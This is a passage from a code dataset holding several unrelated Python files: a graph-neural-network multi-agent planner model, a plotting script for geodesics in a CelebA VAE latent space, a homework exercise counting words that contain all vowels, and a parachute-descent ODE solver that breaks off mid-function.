'ResNetLarge_withMLP':\r\n convl = []\r\n convl.append(ResNet(BasicBlock, [1, 1, 1], out_map=False))\r\n convl.append(nn.Dropout(0.2))\r\n convl.append(nn.Flatten())\r\n convl.append(nn.Linear(in_features=1152, out_features=self.config.numInputFeatures, bias=True))\r\n self.ConvLayers = nn.Sequential(*convl)\r\n numFeatureMap = self.config.numInputFeatures\r\n elif self.config.CNN_mode == 'ResNetSlim':\r\n convl = []\r\n convl.append(ResNetSlim(BasicBlock, [1, 1], out_map=False))\r\n convl.append(nn.Dropout(0.2))\r\n self.ConvLayers = nn.Sequential(*convl)\r\n numFeatureMap = 1152\r\n elif self.config.CNN_mode == 'ResNetLarge':\r\n convl = []\r\n convl.append(ResNet(BasicBlock, [1, 1, 1], out_map=False))\r\n convl.append(nn.Dropout(0.2))\r\n self.ConvLayers = nn.Sequential(*convl)\r\n numFeatureMap = 1152\r\n else:\r\n convl = []\r\n numConv = len(numChannel) - 1\r\n nFilterTaps = [3] * numConv\r\n nPaddingSzie = [1] * numConv\r\n for l in range(numConv):\r\n convl.append(nn.Conv2d(in_channels=numChannel[l], out_channels=numChannel[l + 1],\r\n kernel_size=nFilterTaps[l], stride=numStride[l], padding=nPaddingSzie[l],\r\n bias=True))\r\n convl.append(nn.BatchNorm2d(num_features=numChannel[l + 1]))\r\n convl.append(nn.ReLU(inplace=True))\r\n\r\n # if self.config.use_dropout:\r\n # convl.append(nn.Dropout(p=0.2))\r\n # print('Dropout is add on CNN')\r\n W_tmp = int((convW[l] - nFilterTaps[l] + 2 * nPaddingSzie[l]) / numStride[l]) + 1\r\n H_tmp = int((convH[l] - nFilterTaps[l] + 2 * nPaddingSzie[l]) / numStride[l]) + 1\r\n # Adding maxpooling\r\n if l % 2 == 0:\r\n convl.append(nn.MaxPool2d(kernel_size=2))\r\n W_tmp = int((W_tmp - nMaxPoolFilterTaps) / numMaxPoolStride) + 1\r\n H_tmp = int((H_tmp - nMaxPoolFilterTaps) / numMaxPoolStride) + 1\r\n # http://cs231n.github.io/convolutional-networks/\r\n convW.append(W_tmp)\r\n convH.append(H_tmp)\r\n\r\n self.ConvLayers = nn.Sequential(*convl)\r\n\r\n numFeatureMap = numChannel[-1] * convW[-1] * convH[-1]\r\n\r\n #####################################################################\r\n # #\r\n # MLP-feature compression #\r\n # #\r\n #####################################################################\r\n\r\n numCompressFeatures = [numFeatureMap] + numCompressFeatures\r\n\r\n compressmlp = []\r\n for l in range(dimCompressMLP):\r\n compressmlp.append(\r\n nn.Linear(in_features=numCompressFeatures[l], out_features=numCompressFeatures[l + 1], bias=True))\r\n compressmlp.append(nn.ReLU(inplace=True))\r\n # if self.config.use_dropout:\r\n # compressmlp.append(nn.Dropout(p=0.2))\r\n # print('Dropout is add on MLP')\r\n\r\n self.compressMLP = nn.Sequential(*compressmlp)\r\n\r\n self.numFeatures2Share = numCompressFeatures[-1]\r\n\r\n #####################################################################\r\n # #\r\n # graph neural network #\r\n # #\r\n #####################################################################\r\n\r\n self.L = len(nGraphFilterTaps) # Number of graph filtering layers\r\n self.F = [numCompressFeatures[-1]] + dimNodeSignals # Features\r\n # self.F = [numFeatureMap] + dimNodeSignals # Features\r\n self.K = nGraphFilterTaps # nFilterTaps # Filter taps\r\n self.E = 1 # Number of edge features\r\n self.bias = True\r\n\r\n gfl = [] # Graph Filtering Layers\r\n for l in range(self.L):\r\n # \\\\ Graph filtering stage:\r\n gfl.append(gml.GraphFilterBatch(self.F[l], self.F[l + 1], self.K[l], self.E, self.bias))\r\n # There is a 2*l below here, because we have three elements per\r\n # layer: graph filter, nonlinearity and pooling, so after each layer\r\n # we're actually adding elements to the (sequential) list.\r\n\r\n # \\\\ Nonlinearity\r\n gfl.append(nn.ReLU(inplace=True))\r\n\r\n # And now feed them into the sequential\r\n self.GFL = nn.Sequential(*gfl) # Graph Filtering Layers\r\n\r\n #####################################################################\r\n # #\r\n # MLP --- map to actions #\r\n # #\r\n #####################################################################\r\n\r\n numActionFeatures = [self.F[-1]+numFeatureMap] + numActionFeatures\r\n actionsfc = []\r\n for l in range(dimActionMLP):\r\n if l < (dimActionMLP - 1):\r\n actionsfc.append(\r\n nn.Linear(in_features=numActionFeatures[l], out_features=numActionFeatures[l + 1], bias=True))\r\n actionsfc.append(nn.ReLU(inplace=True))\r\n else:\r\n actionsfc.append(\r\n nn.Linear(in_features=numActionFeatures[l], out_features=numActionFeatures[l + 1], bias=True))\r\n\r\n if self.config.use_dropout:\r\n actionsfc.append(nn.Dropout(p=0.2))\r\n print('Dropout is add on MLP')\r\n\r\n self.actionsMLP = nn.Sequential(*actionsfc)\r\n self.apply(weights_init)\r\n\r\n def make_layers(self, cfg, batch_norm=False):\r\n layers = []\r\n\r\n input_channel = 3\r\n for l in cfg:\r\n if l == 'M':\r\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\r\n continue\r\n\r\n layers += [nn.Conv2d(input_channel, l, kernel_size=3, padding=1)]\r\n\r\n if batch_norm:\r\n layers += [nn.BatchNorm2d(l)]\r\n\r\n layers += [nn.ReLU(inplace=True)]\r\n input_channel = l\r\n\r\n return nn.Sequential(*layers)\r\n\r\n\r\n def addGSO(self, S):\r\n\r\n # We add the GSO on real time, this GSO also depends on time and has\r\n # shape either B x N x N or B x E x N x N\r\n if self.E == 1: # It is B x T x N x N\r\n assert len(S.shape) == 3\r\n self.S = S.unsqueeze(1) # B x E x N x N\r\n else:\r\n assert len(S.shape) == 4\r\n assert S.shape[1] == self.E\r\n self.S = S\r\n\r\n if self.config.GSO_mode == 'dist_GSO_one':\r\n self.S[self.S > 0] = 1\r\n elif self.config.GSO_mode == 'full_GSO':\r\n self.S = torch.ones_like(self.S).to(self.config.device)\r\n # self.S[self.S > 0] = 1\r\n\r\n def forward(self, inputTensor):\r\n\r\n B = inputTensor.shape[0] # batch size\r\n # N = inputTensor.shape[1]\r\n # C =\r\n (B,N,C,W,H) = inputTensor.shape\r\n # print(inputTensor.shape)\r\n # print(B,N,C,W,H)\r\n # B x G x N\r\n input_currentAgent = inputTensor.reshape(B*N,C,W,H).to(self.config.device)\r\n\r\n # B*N x num_feature\r\n featureMap = self.ConvLayers(input_currentAgent).to(self.config.device)\r\n\r\n # B*N x num_feature x 1\r\n featureMapFlatten = featureMap.view(featureMap.size(0), -1).to(self.config.device)\r\n\r\n compressfeature = self.compressMLP(featureMapFlatten).to(self.config.device)\r\n\r\n # B x N x F (input_feature)\r\n extractFeatureMap_old = compressfeature.reshape(B,N,self.numFeatures2Share).to(self.config.device)\r\n\r\n # B x F (input_feature) x N\r\n extractFeatureMap = extractFeatureMap_old.permute([0,2,1]).to(self.config.device)\r\n\r\n # DCP\r\n for l in range(self.L):\r\n # \\\\ Graph filtering stage:\r\n # There is a 3*l below here, because we have three elements per\r\n # layer: graph filter, nonlinearity and pooling, so after each layer\r\n # we're actually adding elements to the (sequential) list.\r\n self.GFL[2 * l].addGSO(self.S) # add GSO for GraphFilter\r\n\r\n # B x F x N - > B x G x N,\r\n sharedFeature = self.GFL(extractFeatureMap)\r\n\r\n (_, num_G, _) = sharedFeature.shape\r\n\r\n sharedFeature_permute =sharedFeature.permute([0,2,1]).to(self.config.device)\r\n sharedFeature_stack = sharedFeature_permute.reshape(B*N,num_G)\r\n\r\n # Skip connection\r\n sharedFeature_skipConCate = torch.cat((featureMapFlatten, sharedFeature_stack), dim=1)\r\n\r\n # B*N x 5\r\n action_predict = self.actionsMLP(sharedFeature_skipConCate)\r\n # print(action_predict.shape)\r\n # print(action_predict)\r\n\r\n\r\n\r\n return action_predict\r\n","sub_path":"graphs/models/decentralplanner_bottleneck_SkipConcat.py","file_name":"decentralplanner_bottleneck_SkipConcat.py","file_ext":"py","file_size_in_byte":13361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"298420146","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 5 00:07:44 2021\n\n@author: Frederik\n\"\"\"\n\n#%% Sources:\n \n\"\"\"\nSources:\nhttps://pytorch.org/tutorials/beginner/dcgan_faces_tutorial.html\nhttp://seaborn.pydata.org/generated/seaborn.jointplot.html\nhttps://scikit-learn.org/stable/modules/generated/sklearn.manifold.MDS.html\nhttps://scikit-learn.org/stable/modules/manifold.html#multi-dimensional-scaling-mds\nhttps://www.geeksforgeeks.org/scatter-plot-with-marginal-histograms-in-python-with-seaborn/\n\"\"\"\n\n#%% Modules\n\nimport os, sys\ncurrentdir = os.path.dirname(os.path.realpath(__file__))\nparentdir = os.path.dirname(currentdir)\nsys.path.append(parentdir)\n\nimport torch\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nimport torchvision.utils as vutils\nimport numpy as np\nimport pandas as pd\nfrom sklearn.manifold import MDS\nimport seaborn as sns\n\n#Own files\nfrom VAE_celeba import VAE_CELEBA\nfrom plot_dat import plot_3d_fun\nfrom rm_computations import rm_data, rm_geometry\n\n#%% Loading data and model\n\ndataroot = \"../../Data/CelebA/celeba\" #Directory for dataset\nfile_model_save = 'trained_models/main/celeba_epoch_6300.pt' #'trained_models/hyper_para/para_3d_epoch_100000.pt'\ndevice = 'cpu'\nlr = 0.0002\n\nimg_size = 64\ndata_plot = plot_3d_fun(N=100) #x3_hyper_para\n\ndataset = dset.ImageFolder(root=dataroot,\n transform=transforms.Compose([\n transforms.Resize(img_size),\n transforms.CenterCrop(img_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\n\ntrainloader = DataLoader(dataset, batch_size=64,\n shuffle=False, num_workers=0)\n\n#Plotting the trained model\nmodel = VAE_CELEBA().to(device) #Model used\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\ncheckpoint = torch.load(file_model_save, map_location=device)\nmodel.load_state_dict(checkpoint['model_state_dict'])\noptimizer.load_state_dict(checkpoint['optimizer_state_dict'])\nepoch = checkpoint['epoch']\nelbo = checkpoint['ELBO']\nrec_loss = checkpoint['rec_loss']\nkld_loss = checkpoint['KLD']\n\nmodel.eval()\n\n#%% Plotting\n\n# Plot some training images\nreal_batch = next(iter(trainloader))\nrecon_batch = model(real_batch[0]) #x=z, x_hat, mu, var, kld.mean(), rec_loss.mean(), elbo\nx_hat = recon_batch[1].detach()\n\nplt.figure(figsize=(8,6))\nplt.subplot(1,2,1)\nplt.axis(\"off\")\nplt.title(\"Original Images\")\nplt.imshow(np.transpose(vutils.make_grid(real_batch[0].to(device), padding=2, normalize=True).cpu(),(1,2,0)))\n\n# Plot some training images\nplt.subplot(1,2,2)\nplt.axis(\"off\")\nplt.title(\"Reconstruction Images\")\nplt.imshow(np.transpose(vutils.make_grid(x_hat.to(device), padding=2, normalize=True).cpu(),(1,2,0)))\nplt.show()\n\n#Plotting loss function\ndata_plot.plot_loss(elbo, title='Loss function')\ndata_plot.plot_loss(rec_loss, title='Reconstruction Loss')\ndata_plot.plot_loss(kld_loss, title='KLD')\n\n#%% Plotting simple geodesics\n \nload_path = 'rm_computations/'\nnames = ['simple_geodesic1.pt', 'simple_geodesic2.pt', 'simple_geodesic3.pt']\nfig, ax = plt.subplots(3,1, figsize=(8,6))\nax[0].set_title(\"Geodesic cuves and Linear interpolation between images\")\nimg_height = img_size+2\nfor i in range(len(names)):\n \n tick_list_x = []\n euc_length_x = []\n \n checkpoint = torch.load(load_path+names[i])\n \n G_plot = checkpoint['G_plot']\n arc_length = checkpoint['arc_length']\n tick_list = checkpoint['tick_list']\n T = checkpoint['T']\n \n for j in range(T+1):\n tick_list_x.append(img_height/2+j*img_height)\n euc_length_x.append('{0:.3f}'.format(torch.norm((G_plot[j]-G_plot[j+T+1]).view(-1)).item()))\n \n G_plot = checkpoint['G_plot']\n ax[i].imshow(vutils.make_grid(G_plot, padding=2, normalize=True, nrow=T+1).permute(1, 2, 0))\n #ax[i].axes.get_xaxis().set_visible(False)\n ax[i].set_yticks(tick_list)\n ax[i].set_yticklabels(arc_length)\n ax[i].set_xticks(tick_list_x)\n ax[i].set_xticklabels(euc_length_x) \n\n\n#%% Plotting Frechet mean for group\n\ndata_path = ['Data_groups/group_blond_open/', 'Data_groups/group_blond_closed/',\n 'Data_groups/group_black_open/', 'Data_groups/group_black_closed/']\nfrechet_path = ['rm_computations/frechet_group_blond_open.pt', 'rm_computations/frechet_group_blond_closed.pt',\n 'rm_computations/frechet_group_black_open.pt', 'rm_computations/frechet_group_black_closed.pt']\nnames = ['Blond Hair+Mouth Open', 'Blond Hair+Mouth Closed',\n 'Black Hair+Mouth Open', 'Black Hair+Mouth Closed']\nimg_size = 64\nbatch_size = 10\nimg_height = img_size+2\n\ntick_list_y = []\nfor j in range(len(data_path)):\n tick_list_y.append(img_height/2+j*img_height)\n\nDATA = torch.empty(1)\nfor i in range(len(data_path)):\n path = data_path[i]\n dataset = dset.ImageFolder(root=path,\n transform=transforms.Compose([\n transforms.Resize(img_size),\n transforms.CenterCrop(img_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\n \n trainloader = DataLoader(dataset, batch_size=10,\n shuffle=False, num_workers=0)\n \n if i == 0:\n DATA = next(iter(trainloader))[0]\n else:\n DATA = torch.cat((DATA, next(iter(trainloader))[0]), dim = 0)\n \nfig, ax = plt.subplots(1,2,figsize=(8,6))\nax[0].axes.get_xaxis().set_visible(False)\nax[0].set_title(\"Original Images\")\nax[0].imshow(np.transpose(vutils.make_grid(DATA.to(device), padding=2, normalize=True, nrow=batch_size).cpu(),(1,2,0)))\nax[0].set_yticks(tick_list_y)\nax[0].set_yticklabels(names)\n\nrec = model(DATA)[1].detach()\n\n# Plot some training images\nax[1].axes.get_xaxis().set_visible(False)\nax[1].set_title(\"Reconstructed Images\")\nax[1].imshow(np.transpose(vutils.make_grid(rec.to(device), padding=2, normalize=True, nrow=batch_size).cpu(),(1,2,0)))\nax[1].set_yticks(tick_list_y)\nax[1].set_yticklabels(names)\n\nfig, ax = plt.subplots(1,1,figsize=(8,6))\nax.axes.get_xaxis().set_visible(False)\nax.set_title(\"Reconstructed Images\")\nax.imshow(np.transpose(vutils.make_grid(rec.to(device), padding=2, normalize=True, nrow=batch_size).cpu(),(1,2,0)))\nax.set_yticks(tick_list_y)\nax.set_yticklabels(names)\n\nfig, ax = plt.subplots(4,1,figsize=(8,6))\nax[0].set_title(\"Fréchet Mean\")\ntick_list_x = [img_height/2,img_height/2+img_height]\nfor i in range(len(frechet_path)):\n frechet = torch.load(frechet_path[i])\n mug_linear = frechet['mug_linear'].view(1,3,img_size,img_size).detach()\n mug_geodesic = frechet['mug_geodesic'].view(1,3,img_size,img_size).detach()\n loss = frechet['loss']\n G_plot = torch.cat((mug_linear.detach(), mug_geodesic.detach()), dim = 0)\n ax[i].imshow(vutils.make_grid(G_plot, padding=2, normalize=True, nrow=2).permute(1, 2, 0))\n l_sum = ['{0:.3f}'.format(loss[0]),'{0:.3f}'.format(loss[-1])]\n ax[i].axes.get_yaxis().set_visible(False)\n ax[i].set_xticks(tick_list_x)\n ax[i].set_xticklabels(l_sum) \n\n#%% Plotting Parallel Transport\n\nrm = rm_data(model.h, model.g, 'cpu')\n\nload_path = 'rm_computations/black_parallel_translation.pt'\nload_path = 'rm_computations/blond_parallel_translation.pt'\n\nimg_size = 64\nbatch_size = 10\nimg_height = img_size+2\n\ncheckpoint = torch.load(load_path)\nT = checkpoint['T']\ngab_geodesic = checkpoint['gab_geodesic']\ngac_geodesic = checkpoint['g_ac']\ngc_geodesic = checkpoint['gc_geodesic']\nzc_linear = checkpoint['zc_linear']\ngc_linear = checkpoint['gc_linear']\n\nL_ab = rm.arc_length(gab_geodesic)\nL_ac = rm.arc_length(gac_geodesic)\nL_c = rm.arc_length(gc_geodesic)\nL_linear_c = rm.arc_length(gc_linear)\narc_length = ['a-b: {0:.4f}'.format(L_ab), 'a-c: {0:.4f}'.format(L_ac)]\ntick_list = [img_height/2, img_height/2+img_height]\n\nG_plot = torch.cat((gab_geodesic.detach(), gac_geodesic.detach()), dim = 0)\n\nfig, ax = plt.subplots(2,1,figsize=(8,6))\nax[0].set_title(\"Geodesic cuves and Linear interpolation between images\") \n\nax[0].imshow(vutils.make_grid(G_plot, padding=2, normalize=True, nrow=T+1).permute(1, 2, 0))\nax[0].axes.get_xaxis().set_visible(False)\nax[0].set_yticks(tick_list)\nax[0].set_yticklabels(arc_length) \n\nG_plot = torch.cat((gc_linear.detach(), gc_geodesic.detach()), dim = 0)\narc_length = ['c_l: {0:.4f}'.format(L_linear_c), 'c_g: {0:.4f}'.format(L_c)]\ntick_list_x = []\neuc_length_x = []\nfor j in range(T+1):\n tick_list_x.append(img_height/2+j*img_height)\n euc_length_x.append('{0:.3f}'.format(torch.norm((G_plot[j]-G_plot[j+T+1]).view(-1)).item()))\n\nax[1].imshow(vutils.make_grid(G_plot, padding=2, normalize=True, nrow=T+1).permute(1, 2, 0))\n#ax[1].axes.get_xaxis().set_visible(False)\nax[1].set_yticks(tick_list)\nax[1].set_yticklabels(arc_length) \nax[1].set_xticks(tick_list_x)\nax[1].set_xticklabels(euc_length_x) \n\n#%% distance matrix\nrm = rm_data(model.h, model.g, 'cpu')\n\nload_path = 'rm_computations/dmat.pt'\ncheckpoint = torch.load(load_path)\nx_batch = (checkpoint['x_batch'].view(checkpoint['x_batch'].shape[0],-1)).detach().numpy()\nz_batch = checkpoint['z_batch']\ndmat = checkpoint['dmat'].detach().numpy()\nX_names = checkpoint['X_names']\ndmat_linear = rm.linear_distance_matrix(z_batch, 10).detach().numpy()\nz_batch = z_batch.detach().numpy()\n\nX_names = ['Blond Hair+Mouth Closed', 'Blond Hair+Mouth Open', \n 'Black Hair+Mouth Closed', 'Black Hair+Mouth Open']\n\nembedding = MDS(n_components=2, dissimilarity = 'precomputed')\nx2d_linear = embedding.fit_transform(dmat_linear)\nx2d_geodesic = embedding.fit_transform(dmat)\nembedding = MDS(n_components=2)\nx2d_euclidean = embedding.fit_transform(x_batch)\n\ndata_size = int(x2d_euclidean.shape[0]/len(X_names))\n\ncolumn_names = ['group', 'x1', 'x2']\ndf = pd.DataFrame(index=range(x2d_euclidean.shape[0]), columns=column_names)\n\ngroup = [item for item in X_names for i in range(data_size)]\ndf['group'] = group\ndf['x1'] = x2d_geodesic[:,0]\ndf['x2'] = x2d_geodesic[:,1]\n \np = sns.jointplot(data=df, x=\"x1\", y=\"x2\", hue=\"group\")\np.fig.suptitle(\"Geodesic Distances\")\np.fig.tight_layout()\np.fig.subplots_adjust(top=0.95) # Reduce plot to make room \n\ndf['x1'] = x2d_linear[:,0]\ndf['x2'] = x2d_linear[:,1]\n \np = sns.jointplot(data=df, x=\"x1\", y=\"x2\", hue=\"group\")\np.fig.suptitle(\"Linear Distances\")\np.fig.tight_layout()\np.fig.subplots_adjust(top=0.95) # Reduce plot to make room \n\ndf['x1'] = x2d_euclidean[:,0]\ndf['x2'] = x2d_euclidean[:,1]\n \np = sns.jointplot(data=df, x=\"x1\", y=\"x2\", hue=\"group\")\np.fig.suptitle(\"Euclidean Distances\")\np.fig.tight_layout()\np.fig.subplots_adjust(top=0.95) # Reduce plot to make room \n\nR2_geodesic, _, _ = rm.compute_R2_mat(dmat, range(0,10), range(10,20), range(20,30), range(30,40))\nR2_linear, _, _ = rm.compute_R2_mat(dmat_linear, range(0,10), range(10,20), range(20,30), range(30,40))\n\nx_batch = (checkpoint['x_batch'].view(checkpoint['x_batch'].shape[0],-1))\ndmat_euclidean = rm.euclidean_distance_matrix(x_batch)\n\nR2_euclidean, _, _ = rm.compute_R2_mat(dmat_euclidean, range(0,10), range(10,20), range(20,30), range(30,40))\n\n#%% Geodesic Triangle\n\nrm = rm_data(model.h, model.g, 'cpu')\n\nload_path = 'rm_computations/triangle_simple.pt'\nload_path = 'rm_computations/triangle_same_length.pt'\n\nimg_size = 64\nbatch_size = 10\nimg_height = img_size+2\n\ncheckpoint = torch.load(load_path)\ngab_geodesic = checkpoint['gab_geodesic']\ngac_geodesic = checkpoint['gac_geodesic']\ngbc_geodesic = checkpoint['gbc_geodesic']\nL_ab = checkpoint['L_ab']\nL_ac = checkpoint['L_ac']\nL_bc = checkpoint['L_bc']\n\na_angle = checkpoint['a_angle']\nb_angle = checkpoint['b_angle']\nc_angle = checkpoint['c_angle']\nsum_val = (a_angle+b_angle+c_angle)\n\ngab_linear = checkpoint['gab_linear']\ngac_linear = checkpoint['gac_linear']\ngbc_linear = checkpoint['gbc_linear']\nL_ab_linear = checkpoint['L_ab_linear']\nL_ac_linear = checkpoint['L_ac_linear']\nL_bc_linear = checkpoint['L_bc_linear']\n\nfig, ax = plt.subplots(3,1, figsize=(8,6))\nax[0].set_title(\"Geodesic Triangle (Angle Sum = {0:.4f})\".format(sum_val))\nimg_height = img_size+2\ntick_list = [img_height/2,img_height/2+img_height]\narc_length = [['a-b {0:.4f}'.format(L_ab_linear), 'a-b {0:.4f}'.format(L_ab)], \n ['a-c {0:.4f}'.format(L_ac_linear), 'a-c {0:.4f}'.format(L_ac)],\n ['b-c {0:.4f}'.format(L_bc_linear), 'b-c {0:.4f}'.format(L_bc)]]\nG_plot = [torch.cat((gab_linear.detach(), gab_geodesic.detach()), dim=0),\n torch.cat((gac_linear.detach(), gac_geodesic.detach()), dim=0),\n torch.cat((gbc_linear.detach(), gbc_geodesic.detach()), dim=0)]\nT = 10\nfor i in range(len(arc_length)):\n \n tick_list_x = []\n euc_length_x = []\n \n for j in range(T+1):\n tick_list_x.append(img_height/2+j*img_height)\n euc_length_x.append('{0:.3f}'.format(torch.norm((G_plot[i][j]-G_plot[i][j+T+1]).view(-1)).item()))\n \n ax[i].imshow(vutils.make_grid(G_plot[i], padding=2, normalize=True, nrow=T+1).permute(1, 2, 0))\n #ax[i].axes.get_xaxis().set_visible(False)\n ax[i].set_yticks(tick_list)\n ax[i].set_yticklabels(arc_length[i])\n ax[i].set_xticks(tick_list_x)\n ax[i].set_xticklabels(euc_length_x) \n\n\n","sub_path":"CelebA/plot_celeba.py","file_name":"plot_celeba.py","file_ext":"py","file_size_in_byte":13359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"241488937","text":"#!/usr/bin/env python3\n# HW06_ch09_ex05.py\n\n# (1)\n# Write a function named uses_all that takes a word and a string of required\n# letters, and that returns True if the word uses all the required letters at\n# least once.\n# - write uses_all\n# (2)\n# How many words are there that use all the vowels aeiou? How about\n# aeiouy?\n# - write functions(s) to assist you\n# - # of words that use all aeiou: 598\n# - # of words that use all aeiouy: 42\n##############################################################################\n# Imports\n\n# Body\ndef uses_all(word, string_of_letters):\n for each_letter in string_of_letters:\n if(each_letter not in word):\n return False\n return True\n\ndef uses_aeiou():\n no_of_words_using_aeiou = 0\n with open(\"words.txt\",\"r\") as file_object:\n for each_line in file_object:\n if(uses_all(each_line.strip(),\"aeiou\")):\n no_of_words_using_aeiou += 1\n print('No of words using aeiou are : '+ str(no_of_words_using_aeiou))\n file_object.close()\n\ndef uses_aeiouy():\n no_of_words_using_aeiouy = 0\n with open(\"words.txt\",\"r\") as file_object:\n for each_line in file_object:\n if(uses_all(each_line.strip(),\"aeiouy\")):\n no_of_words_using_aeiouy += 1\n print('No of words using aeiouy are : '+ str(no_of_words_using_aeiouy))\n file_object.close()\n##############################################################################\ndef main():\n uses_aeiou()\n uses_aeiouy()\n\nif __name__ == '__main__':\n main()\n","sub_path":"HW06_ch09_ex05.py","file_name":"HW06_ch09_ex05.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"343140832","text":"from matplotlib.pyplot import *\nfrom numpy import *\nimport math\n\n\nclass Problem:\n # height0=5000.0, pressure0=55000.0, \\\n # velocity0=0.001, mol_mass=0.029, \\\n # gravity_const=9.807, gas_const=8.314, \\\n # temp_const=-0.0065, temp0=288, viscosity=1.8E-5, \\\n # drag_coeff1=1.0, drag_coeff2=1.3, \\\n # diameter_b=0.5, area_b1=0.9, area_b2=17.65, \\\n # volume_b=0.08, density_b=1003.0, time_max=250.0, \\\n # time_release=70.0\n def __init__(self, height0=5000.0, pressure0=55000.0, \\\n velocity0=0.001, mol_mass=0.029, \\\n gravity_const=9.807, gas_const=8.314, \\\n temp_const=-0.0065, temp0=288.0, viscosity=1.8E-5, \\\n drag_coeff1=1.0, drag_coeff2=1.3, \\\n diameter_b=0.5, area_b1=0.9, area_b2=17.65, \\\n volume_b=0.08, density_b=1003.0, time_max=250.0, \\\n time_release=70.0):\n \"\"\"\n height0 = initial altitude (m)\n pressure0 = initial pressure (Pa)\n velocity0 = initial velocity (m/s)\n \n mol_mass = molar mass of Earth's air (kg/mol)\n gravity_const = acceleration of gravity (m/s^2)\n gas_const = the universal gas constant (Nm/(mol K)\n temp_const = constant in temperature model (K/m) \n \n temp0 = temperature at sea level (K)\n viscosity = dynamic viscosity of fluid (Pa s)\n \n drag_coeff1 = drag coefficient of body without\n parachute\n drag_coeff2 = drag coefficient of body with\n parachute\n diameter_b = body diameter (m)\n area_b1 = body area without parachute (m) \n area_b2 = body area with parachute (m)\n volume_b = body volume (m^3)\n density_b = body density (kg/m^3)\n \n time_max = total time (s)\n time_release = time when parachute is released (s)\n \n Re_const = proportionally constant\n for Reynolds number\n \"\"\"\n self.height0 = height0\n self.pressure0 = pressure0\n self.velocity0 = velocity0\n self.mol_mass = mol_mass\n self.gravity_const = gravity_const\n self.gas_const = gas_const\n self.temp_const = temp_const\n self.temp0 = temp0\n self.viscosity = viscosity\n self.drag_coeff1 = drag_coeff1\n self.drag_coeff2 = drag_coeff2\n self.diameter_b = diameter_b\n self.area_b1 = area_b1\n self.area_b2 = area_b2\n self.volume_b = volume_b\n self.density_b = density_b\n self.time_max = time_max\n self.time_release = time_release\n \n \nclass Solver:\n def __init__(self, problem, time_step=0.01, theta=0.5):\n self.problem = problem\n self.time_step = float(time_step)\n self.theta = float(theta)\n \n def solve(self):\n self.z, self.p, self.v, self.t = \\\n self.solver_theta(self.time_step, \\\n self.theta)\n \n \n def f1(self, velocity_n):\n \"\"\"\n Function f^1 in the ODE z'(t) = f^1(z(t), p(t), v(t)),\n where z = height, p = pressure, v = velocity, and\n t = time.\n \"\"\"\n return velocity_n\n \n def f2(self, height_n, pressure_n, velocity_n):\n \"\"\"\n Function f^2 in the ODE p'(t) = f^2(z(t), p(t), v(t)),\n where z = height, p = pressure, v = velocity, and\n t = time.\n \"\"\"\n problem = self.problem\n nominator = -problem.mol_mass*problem.gravity_const \\\n *pressure_n\n denominator = problem.gas_const \\\n *(problem.temp0 + problem.temp_const*height_n) \\\n *velocity_n\n \n funct2 = nominator/denominator\n #funct2 = 0.0\n return funct2\n \n \n def f3(self, height_n, pressure_n, velocity_n, drag_coeff, \\\n area_b):\n \"\"\"\n Function f^3 in the ODE v'(t) = f^3(z(t), p(t), v(t)),\n where z = height, p = pressure, v = velocity, and\n t = time.\n \"\"\"\n problem = self.problem\n temperature = problem.temp0 + problem.temp_const*height_n\n Reynolds = problem.mol_mass*problem.diameter_b \\\n *pressure_n*velocity_n \\\n /(problem.gas_const*problem.viscosity*temperature)\n \n if abs(Reynolds) < 1:\n # If Reynolds number < 1, use Stokes' drag force \n const1 = -3.0*math.pi*problem.diameter_b \\\n *problem.viscosity \\\n /(problem.density_b*problem.volume_b)\n const2 = problem.gravity_const*problem.mol_mass \\\n /(problem.gas_const*problem.density_b* \\\n temperature)\n const3 = -problem.gravity_const\n \n funct3 = const1*velocity_n + const2*pressure_n + const3\n else:\n # If Reynolds number >= 1, use the quadratic\n # drag force\n const1 = -0.5*problem.mol_mass \\\n /(problem.gas_const*temperature*problem.density_b \\\n *problem.volume_b)\n const2 = problem.gravity_const*problem.mol_mass \\\n /(problem.gas_const*temperature*problem.density_b)\n const3 = -problem.gravity_const\n \n funct3 = const1*drag_coeff*area_b*abs(velocity_n) \\\n *velocity_n*pressure_n + const2*pressure_n \\\n + const3 \n \n return funct3\n \n def get_drag_coeff(self, time):\n \"\"\" \n Get drag coefficient before and after\n the parachute has been released\n \"\"\"\n if time < self.problem.time_release:\n drag_coeff = self.problem.drag_coeff1\n else:\n drag_coeff = self.problem.drag_coeff2\n return drag_coeff\n \n def get_area_b(self, time):\n \"\"\"\n Get body area before and after\n the parachute has been released\n \"\"\"\n if time < self.problem.time_release:\n area_b = self.problem.area_b1\n else:\n area_b = self.problem.area_b2\n return area_b\n \n def solver_theta(self, time_step, theta):\n \"\"\"\n Solve the ODE system\n \n z'(t) = f^1(z(t), p(t), v(t))\n p'(t) = f^2(z(t), p(t), v(t))\n v'(t) = f^3(z(t), p(t), v(t)),\n \n using the theta-rule. Here t is in the interval \n (0, time_max] and the time step is time_step.\n \n \"\"\"\n \n # Number of time steps\n n_steps = int(round(self.problem.time_max/time_step)) \n time_max = n_steps*time_step\n # Initialize vectors z, p, and v\n z_ground = 0.0001\n v_ground = 0.0001\n z = z_ground*ones(n_steps+1)\n p = zeros(n_steps+1)\n v = zeros(n_steps+1)\n z_old = zeros(n_steps+1)\n p_old = zeros(n_steps+1)\n v_old = zeros(n_steps+1)\n area_b = zeros(2)\n drag_coeff = zeros(2)\n \n # Time mesh vector\n t = linspace(0, time_max, n_steps+1) \n # Initial conditions\n z[0] = self.problem.height0\n p[0] = self.problem.pressure0\n v[0] = self.problem.velocity0\n tolerance = 1E-3\n \n # n = 0, 1, ..., N-1\n for n in range(0, n_steps): \n #print 'n = ', n\n # Initial guess\n z_old[n+1] = z[n]\n p_old[n+1] = p[n]\n v_old[n+1] = 